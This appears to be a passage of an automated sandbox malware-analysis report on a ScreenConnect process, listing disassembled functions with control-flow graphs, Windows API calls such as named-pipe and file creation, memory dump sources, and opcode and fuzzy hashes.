                                                                                          control_flow_graph 651 5b30244-5b3024d 652 5b301d8-5b301d9 651->652 653 5b3024f-5b302ac 651->653 652->653 654 5b301db-5b301ed 652->654 655 5b30300-5b30383 CreateFileA 653->655 656 5b302ae-5b302d3 653->656 664 5b30385-5b3038b 655->664 665 5b3038c-5b303ca 655->665 656->655 660 5b302d5-5b302d7 656->660 662 5b302fa-5b302fd 660->662 663 5b302d9-5b302e3 660->663 662->655 666 5b302e7-5b302f6 663->666 667 5b302e5 663->667 664->665 672 5b303da 665->672 673 5b303cc-5b303d0 665->673 666->666 668 5b302f8 666->668 667->666 668->662 675 5b303db 672->675 673->672 674 5b303d2 673->674 674->672 675->675
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(?,?,?,?,?,00000001,00000004), ref: 05B3036D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949891911.0000000005B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5b30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID: 4L^q
                                                                                          • API String ID: 823142352-616035646
                                                                                          • Opcode ID: 31fa3a4b67455e3bc239df525a03fe03d9b30c1b71077eba33017e726d9a5ead
                                                                                          • Instruction ID: d2c69174ccc5854eca3fad2b82f1557c6553c552e9dc824786a003a42bc20b2c
                                                                                          • Opcode Fuzzy Hash: 31fa3a4b67455e3bc239df525a03fe03d9b30c1b71077eba33017e726d9a5ead
                                                                                          • Instruction Fuzzy Hash: C75166B1D0024D8FDB10DFA9C949BDEBBF1FF48304F24816AE809AB251D775A844CB81
                                                                                          Function 05B30250 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116fileCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 676 5b30250-5b302ac 677 5b30300-5b30383 CreateFileA 676->677 678 5b302ae-5b302d3 676->678 685 5b30385-5b3038b 677->685 686 5b3038c-5b303ca 677->686 678->677 681 5b302d5-5b302d7 678->681 683 5b302fa-5b302fd 681->683 684 5b302d9-5b302e3 681->684 683->677 687 5b302e7-5b302f6 684->687 688 5b302e5 684->688 685->686 693 5b303da 686->693 694 5b303cc-5b303d0 686->694 687->687 689 5b302f8 687->689 688->687 689->683 696 5b303db 693->696 694->693 695 5b303d2 694->695 695->693 696->696
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(?,?,?,?,?,00000001,00000004), ref: 05B3036D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949891911.0000000005B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5b30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID: 4L^q
                                                                                          • API String ID: 823142352-616035646
                                                                                          • Opcode ID: e6fcfddd6d5087cf379aefb70e9b9453c15bca2ae579a8a75c77c068e5f71852
                                                                                          • Instruction ID: efa43e2575216d07b4a6a6f71756b3e8fc39c659214fc7940aadb6e14e53deed
                                                                                          • Opcode Fuzzy Hash: e6fcfddd6d5087cf379aefb70e9b9453c15bca2ae579a8a75c77c068e5f71852
                                                                                          • Instruction Fuzzy Hash: C94156B1D0024D9FDB10DFA9C949B9EBBF1FF48304F248169E809AB251D775A844CF81
                                                                                          Function 0572D77F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93pipeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 697 572d77f-572e932 703 572e934-572e937 697->703 704 572e93a-572e99f CreateNamedPipeW 697->704 703->704 706 572e9a1-572e9a7 704->706 707 572e9a8-572e9c9 704->707 706->707
                                                                                          APIs
                                                                                          • CreateNamedPipeW.KERNEL32(00000000,00000001,00000008,?,?,?,00000001,00000004), ref: 0572E98C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateNamedPipe
                                                                                          • String ID: 4L^q
                                                                                          • API String ID: 2489174969-616035646
                                                                                          • Opcode ID: 677b7f1ada4b8aedcafad5e7c9b676187044f26ad574b64b021e2cf63ae0ebaa
                                                                                          • Instruction ID: c215435eb78ea6a549e5e51454e7ef36e7d4c2b46fc9690e6420ba90cec5cd64
                                                                                          • Opcode Fuzzy Hash: 677b7f1ada4b8aedcafad5e7c9b676187044f26ad574b64b021e2cf63ae0ebaa
                                                                                          • Instruction Fuzzy Hash: C731BDB28013589FCB10DFA9D494BCABFF5EF48314F14806AE488AB221D3759449CF95
                                                                                          Function 05B329C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91registryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 710 5b329c0-5b32a4b 718 5b32a4d-5b32a5a 710->718 719 5b32a5c-5b32a74 710->719 718->719 722 5b32a79-5b32aa8 RegDisablePredefinedCache 718->722 720 5b32b36-5b32b3e 719->720 726 5b32b3f 720->726 724 5b32ab1-5b32acc call 5b32888 722->724 725 5b32aaa-5b32ab0 722->725 730 5b32ad1-5b32aed 724->730 725->724 726->726 733 5b32af8 730->733 734 5b32aef 730->734 733->720 734->733
                                                                                          APIs
                                                                                          • RegDisablePredefinedCache.ADVAPI32 ref: 05B32A91
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949891911.0000000005B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5b30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CacheDisablePredefined
                                                                                          • String ID: `Q^q
                                                                                          • API String ID: 1885667121-1948671464
                                                                                          • Opcode ID: 54a0f65ca016e9c15e1732f10e9592fe1985df1c59f9d3ab2b08d1a0c4f5eb25
                                                                                          • Instruction ID: d15d4ddea0c3f0eb75f5bf04ac22fe5191c2c179182ed9103110665f5e761854
                                                                                          • Opcode Fuzzy Hash: 54a0f65ca016e9c15e1732f10e9592fe1985df1c59f9d3ab2b08d1a0c4f5eb25
                                                                                          • Instruction Fuzzy Hash: 62314674E00209DBDB24DFA9D849B9DFBB2FF48314F14842AD805BB250DBB46846CF51
                                                                                          Function 0572D7BC Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 72pipeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 735 572d7bc-572e932 737 572e934-572e937 735->737 738 572e93a-572e99f CreateNamedPipeW 735->738 737->738 740 572e9a1-572e9a7 738->740 741 572e9a8-572e9c9 738->741 740->741
                                                                                          APIs
                                                                                          • CreateNamedPipeW.KERNEL32(00000000,00000001,00000008,?,?,?,00000001,00000004), ref: 0572E98C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateNamedPipe
                                                                                          • String ID: 4L^q
                                                                                          • API String ID: 2489174969-616035646
                                                                                          • Opcode ID: 759cabf6ab2d50650099266b3bc0ff095c6da106423e41d6577e3dc87c2a3742
                                                                                          • Instruction ID: dba6e4083b5094cca2dff4ead1d68d006d1bcfaceb6b9c6e0d614608fa9b4653
                                                                                          • Opcode Fuzzy Hash: 759cabf6ab2d50650099266b3bc0ff095c6da106423e41d6577e3dc87c2a3742
                                                                                          • Instruction Fuzzy Hash: C03122B1900258DFCB10CF9AD488A8EBFF5FF48314F14C06AE958AB221C376A855CF91
                                                                                          Function 045510F8 Relevance: 2.7, Strings: 2, Instructions: 210COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1429 45510f8-4551117 1430 455111d-4551126 1429->1430 1431 4551348-455136d 1429->1431 1434 4551374-45513ff 1430->1434 1435 455112c-4551190 1430->1435 1431->1434 1454 4551401-4551408 call 4550da0 1434->1454 1455 455140d-4551412 1434->1455 1446 4551192-45511b7 1435->1446 1447 45511ba-45511c3 1435->1447 1446->1447 1448 45511c5 1447->1448 1449 45511c8-45511dd 1447->1449 1448->1449 1495 45511de call 45510f6 1449->1495 1496 45511de call 455134f 1449->1496 1497 45511de call 45510f8 1449->1497 1498 45511de call 45513ab 1449->1498 1453 45511e4-45511e6 1457 4551243-4551250 1453->1457 1458 45511e8-45511ed 1453->1458 1454->1455 1465 4551252-455125b 1457->1465 1466 455125d 1457->1466 1460 45511ef-4551224 1458->1460 1461 4551229-455123c 1458->1461 1472 45512e8-45512fc 1460->1472 1461->1457 1467 4551262-4551264 1465->1467 1466->1467 1468 4551266-4551292 1467->1468 1469 4551299-45512e1 1467->1469 1468->1469 1469->1472 1477 4551306-455130b 1472->1477 1478 45512fe 1472->1478 1480 4551315-455131a 1477->1480 1481 455130d 1477->1481 1478->1477 1484 455131c-455132a call 4550c14 call 4550c2c 1480->1484 1485 455132f-4551330 1480->1485 1481->1480 1484->1485 1485->1431 1495->1453 1496->1453 1497->1453 1498->1453
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (&^q$(bq
                                                                                          • API String ID: 0-1294341849
                                                                                          • Opcode ID: e2594bcf21c965061c99f25df06259b3460a8ffae38afe9e22a4690202776f82
                                                                                          • Instruction ID: 64bbc86cae13700f7f841acc2b12a10e0056c17eee548513d1440f80c7a5f85d
                                                                                          • Opcode Fuzzy Hash: e2594bcf21c965061c99f25df06259b3460a8ffae38afe9e22a4690202776f82
                                                                                          • Instruction Fuzzy Hash: AF718231F005198BDB14EFB9D4A47AEBBA2BFC4700F144529D806BB394DF34AD429795
                                                                                          Function 05F32279 Relevance: 1.6, APIs: 1, Instructions: 95processCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CreateProcessAsUserW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 05F3234F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2950578521.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5f30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateProcessUser
                                                                                          • String ID:
                                                                                          • API String ID: 2217836671-0
                                                                                          • Opcode ID: 964ccee87689428facc8636859dad2c216df0bf7fdcb6755b52bb3406d84547c
                                                                                          • Instruction ID: 3215e38a1f46a6a494fb1958262d989b591742e2db2736899e9184544adbfb77
                                                                                          • Opcode Fuzzy Hash: 964ccee87689428facc8636859dad2c216df0bf7fdcb6755b52bb3406d84547c
                                                                                          • Instruction Fuzzy Hash: A5412276900209DFDB10CFA9C884ADEBBF6FF48310F14852AE958A7250D739A955CFA0
                                                                                          Function 0572FB8C Relevance: 1.6, APIs: 1, Instructions: 67pipeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • ConnectNamedPipe.KERNEL32(00000000), ref: 0572FC10
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: ConnectNamedPipe
                                                                                          • String ID:
                                                                                          • API String ID: 2191148154-0
                                                                                          • Opcode ID: 8820a2d541dcdcb6d2b2423bc0dc52fe4064afd00719e3aa8a11b8de957cc16d
                                                                                          • Instruction ID: b30282766c7732bd75e5703e439e258a145c56876a35ffb30d38dd3694e90d1d
                                                                                          • Opcode Fuzzy Hash: 8820a2d541dcdcb6d2b2423bc0dc52fe4064afd00719e3aa8a11b8de957cc16d
                                                                                          • Instruction Fuzzy Hash: E02135B1D14268DFCB14CFA9D585BDEBBF1AF48310F24846AE849AB350CB749885CF94
                                                                                          Function 0572FB98 Relevance: 1.6, APIs: 1, Instructions: 65pipeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • ConnectNamedPipe.KERNEL32(00000000), ref: 0572FC10
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: ConnectNamedPipe
                                                                                          • String ID:
                                                                                          • API String ID: 2191148154-0
                                                                                          • Opcode ID: be6e9da6b93bebabcfa8fbc485860d5314a3561baada8b68132421b2a4839f27
                                                                                          • Instruction ID: 6e01b8adf6aa34533b7a616151d79fa5136eb3f6e5b3556fd222d7f68993492d
                                                                                          • Opcode Fuzzy Hash: be6e9da6b93bebabcfa8fbc485860d5314a3561baada8b68132421b2a4839f27
                                                                                          • Instruction Fuzzy Hash: FB2113B0D142689FCB24CFAAD585BDEBBF5AF48300F148069E849AB350CB749845CFA4
                                                                                          Function 05F31764 Relevance: 1.6, APIs: 1, Instructions: 59pipeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WaitNamedPipeW.KERNEL32(00000000,0000000A,?,?,?,?,?,?,?,05F32646), ref: 05F326EF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2950578521.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5f30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: NamedPipeWait
                                                                                          • String ID:
                                                                                          • API String ID: 3146367894-0
                                                                                          • Opcode ID: ac32d1bc4890497b81bba51e0a8765d14fe2306ecad0add51838974b56d53fad
                                                                                          • Instruction ID: d993d637d7d3e8482d9db3a9f95dbc4c9a391e66637bb8c7d42642d67dbeec89
                                                                                          • Opcode Fuzzy Hash: ac32d1bc4890497b81bba51e0a8765d14fe2306ecad0add51838974b56d53fad
                                                                                          • Instruction Fuzzy Hash: 722113B68003498FDB10CF9AC445AEEBBF4FB48324F10846DD859A7240C779A945CFA5
                                                                                          Function 05F32682 Relevance: 1.6, APIs: 1, Instructions: 58pipeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WaitNamedPipeW.KERNEL32(00000000,0000000A,?,?,?,?,?,?,?,05F32646), ref: 05F326EF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2950578521.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5f30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: NamedPipeWait
                                                                                          • String ID:
                                                                                          • API String ID: 3146367894-0
                                                                                          • Opcode ID: 2764757e95f4061e47741edfafd24cd8a16f5decc23247f2cd58f805ef64ab89
                                                                                          • Instruction ID: 1faa58fec5b1da328c236d9ee0228a74f8d9bec58d3c0a8696a53494215106b3
                                                                                          • Opcode Fuzzy Hash: 2764757e95f4061e47741edfafd24cd8a16f5decc23247f2cd58f805ef64ab89
                                                                                          • Instruction Fuzzy Hash: 2D2124B6C002498FDB10CF9AC445ADEBBF4FB88324F14846DD859A7240C779A545CFA1
                                                                                          Function 04551D60 Relevance: 1.3, Strings: 1, Instructions: 78COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: LR^q
                                                                                          • API String ID: 0-2625958711
                                                                                          • Opcode ID: 3997b1f0cfe2fd76b2d796238ff0f77f1501045f4538e6b111d4d9a24b399da4
                                                                                          • Instruction ID: cc0e1d4c4c5237e6ece4140e2272058a1c8c5f0f8c4ba42265b223cd90f4b29f
                                                                                          • Opcode Fuzzy Hash: 3997b1f0cfe2fd76b2d796238ff0f77f1501045f4538e6b111d4d9a24b399da4
                                                                                          • Instruction Fuzzy Hash: 3F210130F016099BDB149B65E4697AE7BB6FF88614F108419E806AB394DF706D02DB45
                                                                                          Function 04551D50 Relevance: 1.3, Strings: 1, Instructions: 77COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: LR^q
                                                                                          • API String ID: 0-2625958711
                                                                                          • Opcode ID: bca06d3475c0e4e9653e9c3ee39d5037d616c0f62b12120431589e9c0c1ff005
                                                                                          • Instruction ID: b97a8a06ce4a40acead87d8b7ed7e8cd2b4f7b15664d4903d265c26f63929189
                                                                                          • Opcode Fuzzy Hash: bca06d3475c0e4e9653e9c3ee39d5037d616c0f62b12120431589e9c0c1ff005
                                                                                          • Instruction Fuzzy Hash: DD214F30F006099BDB149B65E4687BEBFF6BF89615F24842DE802AB294DF706D02DB45
                                                                                          Function 04552860 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: LR^q
                                                                                          • API String ID: 0-2625958711
                                                                                          • Opcode ID: 14de92d5a49a332eb60f77a5db11455abdd0f6124342d46efceb826e8f95046e
                                                                                          • Instruction ID: 961428ad882bf1ee94cc2a2661dc53c23f0fcb7974d87fcea6470e5b1093fd52
                                                                                          • Opcode Fuzzy Hash: 14de92d5a49a332eb60f77a5db11455abdd0f6124342d46efceb826e8f95046e
                                                                                          • Instruction Fuzzy Hash: 2D219531B012099BD7149AA0D4597EE7BF6FB8C720F144069F8016B254DA706842DF65
                                                                                          Function 045515F0 Relevance: 1.3, Strings: 1, Instructions: 64COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: U
                                                                                          • API String ID: 0-3372436214
                                                                                          • Opcode ID: f7e22fc83ea15c42645255fa6a9f412def8155262abab5d7a02909fd272bafc6
                                                                                          • Instruction ID: d09e0179408424ff283dd563626c61e03995da0d8699f0a8999658527e13f076
                                                                                          • Opcode Fuzzy Hash: f7e22fc83ea15c42645255fa6a9f412def8155262abab5d7a02909fd272bafc6
                                                                                          • Instruction Fuzzy Hash: 292145B680024A9FDB10CF9AC844ADFBFF5FB88310F14841AE918A7221C339A555DFA1
                                                                                          Function 04552870 Relevance: 1.3, Strings: 1, Instructions: 63COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: LR^q
                                                                                          • API String ID: 0-2625958711
                                                                                          • Opcode ID: 560dbe422b61a0ed6d7f46638ae17855366af28e9af176402142a1eeeaa0036d
                                                                                          • Instruction ID: 72cecea9012a16bfbf5b9c8a30ec0a03159dce277df6b26ec4a9f315791c91af
                                                                                          • Opcode Fuzzy Hash: 560dbe422b61a0ed6d7f46638ae17855366af28e9af176402142a1eeeaa0036d
                                                                                          • Instruction Fuzzy Hash: 1B215131F042098BDB18DFA1E4647AEBBF6FB8C720F148469E802AB394DA716C41DF55
                                                                                          Function 04551710 Relevance: 1.3, Strings: 1, Instructions: 24COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: U
                                                                                          • API String ID: 0-3372436214
                                                                                          • Opcode ID: d097afcc61e4385ec78f74d042dc7d123afc3fbe00bdb80000275b1e485282cc
                                                                                          • Instruction ID: 4a027360374a966781877d883e185dde61fd825d479686a6130697c2222f4bc3
                                                                                          • Opcode Fuzzy Hash: d097afcc61e4385ec78f74d042dc7d123afc3fbe00bdb80000275b1e485282cc
                                                                                          • Instruction Fuzzy Hash: BDE0D870906208EFD700DF64D9954DDFBB5EB02205B4081A9D808E7206E6319E06A791
                                                                                          Function 045550BF Relevance: .4, Instructions: 433COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 61b0454724de00f09926397a722d870ba86c8c3d11a7a78cd3465ed085e6421c
                                                                                          • Instruction ID: 248eab0971441459465848d3401ad3335f8c518907cc7f103bde721915ddaf18
                                                                                          • Opcode Fuzzy Hash: 61b0454724de00f09926397a722d870ba86c8c3d11a7a78cd3465ed085e6421c
                                                                                          • Instruction Fuzzy Hash: FAE10271905245AFD702DF2CE9A05DEBFF2FF81204B4585AAD444DB366EB30ED0A8B91
                                                                                          Function 04553E08 Relevance: .2, Instructions: 225COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 40a30d2d95f921f667916da66937c1bc1e860b82a16f4a8f16fe0196ad54cf89
                                                                                          • Instruction ID: 1711361d3c9e29ce56ba155bd958746288152152b300bee625ba4e07952b228f
                                                                                          • Opcode Fuzzy Hash: 40a30d2d95f921f667916da66937c1bc1e860b82a16f4a8f16fe0196ad54cf89
                                                                                          • Instruction Fuzzy Hash: AF719E31B002064BDB04DBA8D46057EF7E6FFC8250B25852AE81ADB368DA74EC469791
                                                                                          Function 045556A0 Relevance: .2, Instructions: 212COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4780de370fe1a1736aa062d8332bfd8174e96ab41beae4697d01afedee3246ab
                                                                                          • Instruction ID: f9ff6bee3d4696f76bd07422dbb37006249c2113162c580b12b0ece1fbffd906
                                                                                          • Opcode Fuzzy Hash: 4780de370fe1a1736aa062d8332bfd8174e96ab41beae4697d01afedee3246ab
                                                                                          • Instruction Fuzzy Hash: DE61E130740209AFD701EA79B8A4A6EBBE6FFC9254714843AD819CB354EF70FC469791
                                                                                          Function 04555670 Relevance: .2, Instructions: 161COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 25cc4127443fd5d68ac5d8e13ccb3532bd863a5464f3a252264670382eb2035a
                                                                                          • Instruction ID: ef0df30c17b0b2e5605c57d072177adb52d7eb0fae6738bf4d87caab6943b249
                                                                                          • Opcode Fuzzy Hash: 25cc4127443fd5d68ac5d8e13ccb3532bd863a5464f3a252264670382eb2035a
                                                                                          • Instruction Fuzzy Hash: 1E51F0707003456FD711AA38A8B466ABBD6FFC9244B14883AD8158B359FF70FC46D781
                                                                                          Function 04555627 Relevance: .2, Instructions: 161COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: fe6c294f7adc6e6a1b7348fb1380e7a8918667c314809cd4ca04f3425180983e
                                                                                          • Instruction ID: ee817a14464a949abee44a556f98c57a1db6904f9a8f9963ec5b439187ce09a4
                                                                                          • Opcode Fuzzy Hash: fe6c294f7adc6e6a1b7348fb1380e7a8918667c314809cd4ca04f3425180983e
                                                                                          • Instruction Fuzzy Hash: 0A51E330740205AFD701EB78B8A466EBBD6FBC9244B14853AD815DB354EF70FC569781
                                                                                          Function 045548F8 Relevance: .1, Instructions: 147COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: da62b9afd453aa3730493c52c0415764d10e995a97015c0e72c1d665b341877e
                                                                                          • Instruction ID: a219d3e75a94f447bb430de720a4596ae56eab9a6e0752972a7247489af63ead
                                                                                          • Opcode Fuzzy Hash: da62b9afd453aa3730493c52c0415764d10e995a97015c0e72c1d665b341877e
                                                                                          • Instruction Fuzzy Hash: 80512B307006028FCB24DF69D894A6AF7F6FF893147148A29E496DB778E730F8459B90
                                                                                          Function 04556198 Relevance: .1, Instructions: 130COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 65d875508b6f76c5ae1efaac8a95485bdb79008cc0c77ba6d20ce317100bc03e
                                                                                          • Instruction ID: 39102fa8a2e36e3874902ca23cf6e264a61a49013ccc60b715e2336f2abf2ae7
                                                                                          • Opcode Fuzzy Hash: 65d875508b6f76c5ae1efaac8a95485bdb79008cc0c77ba6d20ce317100bc03e
                                                                                          • Instruction Fuzzy Hash: EE41D8307006418FDB34DF69E85862AB7F2BF89314B544A29E49ADB7A5D730F846DB80
                                                                                          Function 045510F6 Relevance: .1, Instructions: 121COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
